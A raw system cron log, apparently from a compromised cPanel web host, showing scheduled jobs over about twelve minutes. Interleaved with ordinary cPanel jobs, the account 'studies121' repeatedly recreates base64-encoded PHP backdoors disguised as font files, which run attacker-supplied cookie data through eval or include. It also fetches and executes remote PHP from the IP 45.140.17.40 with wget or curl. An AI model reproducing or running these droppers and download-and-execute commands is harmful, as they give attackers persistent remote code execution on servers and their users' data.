Sep 11 14:48:01 ip-184-168-122-23 CROND[21181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:48:01 ip-184-168-122-23 CROND[21183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:48:01 ip-184-168-122-23 CROND[21184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:48:01 ip-184-168-122-23 CROND[21185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:49:01 ip-184-168-122-23 CROND[21344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:49:01 ip-184-168-122-23 CROND[21346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:49:01 ip-184-168-122-23 CROND[21347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:49:01 ip-184-168-122-23 CROND[21348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21444]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:50:01 ip-184-168-122-23 CROND[21455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:50:01 ip-184-168-122-23 CROND[21451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:51:02 ip-184-168-122-23 CROND[21547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:51:02 ip-184-168-122-23 CROND[21549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:51:02 ip-184-168-122-23 CROND[21550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:51:02 ip-184-168-122-23 CROND[21551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:52:01 ip-184-168-122-23 CROND[21651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:52:01 ip-184-168-122-23 CROND[21653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:52:01 ip-184-168-122-23 CROND[21655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:52:01 ip-184-168-122-23 CROND[21656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:52:01 ip-184-168-122-23 CROND[21654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:53:01 ip-184-168-122-23 CROND[21742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:53:01 ip-184-168-122-23 CROND[21744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:53:01 ip-184-168-122-23 CROND[21746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:53:01 ip-184-168-122-23 CROND[21747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:54:01 ip-184-168-122-23 CROND[21925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:54:01 ip-184-168-122-23 CROND[21928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:54:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:54:01 ip-184-168-122-23 CROND[21927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:54:01 ip-184-168-122-23 CROND[21931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:55:01 ip-184-168-122-23 CROND[22063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:55:01 ip-184-168-122-23 CROND[22064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:55:01 ip-184-168-122-23 CROND[22067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:55:01 ip-184-168-122-23 CROND[22069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:55:01 ip-184-168-122-23 CROND[22065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:55:01 ip-184-168-122-23 CROND[22070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:56:02 ip-184-168-122-23 CROND[22157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:56:02 ip-184-168-122-23 CROND[22161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:56:02 ip-184-168-122-23 CROND[22159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:56:02 ip-184-168-122-23 CROND[22160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:56:02 ip-184-168-122-23 CROND[22158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:57:01 ip-184-168-122-23 CROND[22275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:57:01 ip-184-168-122-23 CROND[22277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:57:01 ip-184-168-122-23 CROND[22278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:57:01 ip-184-168-122-23 CROND[22276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:58:01 ip-184-168-122-23 CROND[22363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:58:01 ip-184-168-122-23 CROND[22365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:58:01 ip-184-168-122-23 CROND[22368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:58:01 ip-184-168-122-23 CROND[22366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:58:01 ip-184-168-122-23 CROND[22367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:59:01 ip-184-168-122-23 CROND[22543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:59:01 ip-184-168-122-23 CROND[22547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:59:01 ip-184-168-122-23 CROND[22546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:59:01 ip-184-168-122-23 CROND[22545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:00:01 ip-184-168-122-23 CROND[22647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:00:01 ip-184-168-122-23 CROND[22648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
